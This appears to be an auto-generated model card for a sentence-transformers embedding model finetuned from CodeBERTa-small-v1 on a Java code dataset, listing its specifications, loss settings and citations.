SentenceTransformer based on huggingface/CodeBERTa-small-v1 This is a sentence-transformers model finetuned from huggingface/CodeBERTa-small-v1 on the socotrainjava dataset. It maps sentences & paragraphs to a 768-dimensional dense vector space and can be used for semantic textual similarity, semantic search, paraphrase mining, text classification, clustering, and more. Model Description - Model Type: Sentence Transformer - Base model: huggingface/CodeBERTa-small-v1 - Maximum Sequence Length: 512 tokens - Output Dimensionality: 768 dimensions - Similarity Function: Cosine Similarity - Training Dataset: - socotrainjava - Documentation: Sentence Transformers Documentation - Repository: Sentence Transformers on GitHub - Hugging Face: Sentence Transformers on Hugging Face Then you can load this model and run inference. json { "scale": 20.0, "similarityfct": "cossim", "gatheracrossdevices": false } json { "scale": 20.0, "similarityfct": "cossim", "gatheracrossdevices": false } bibtex @inproceedings{reimers-2019-sentence-bert, title = "Sentence-BERT: Sentence Embeddings using Siamese BERT-Networks", author = "Reimers, Nils and Gurevych, Iryna", booktitle = "Proceedings of the 2019 Conference on Empirical Methods in Natural Language Processing", month = "11", year = "2019", publisher = "Association for Computational Linguistics", url = "https://arxiv.org/abs/1908.10084", } bibtex @misc{henderson2017efficient, title={Efficient Natural Language Response Suggestion for Smart Reply}, author={Matthew Henderson and Rami Al-Rfou and Brian Strope and Yun-hsuan Sung and Laszlo Lukacs and Ruiqi Guo and Sanjiv Kumar and Balint Miklos and Ray Kurzweil}, year={2017}, eprint={1705.00652}, archivePrefix={arXiv}, primaryClass={cs.CL} } ```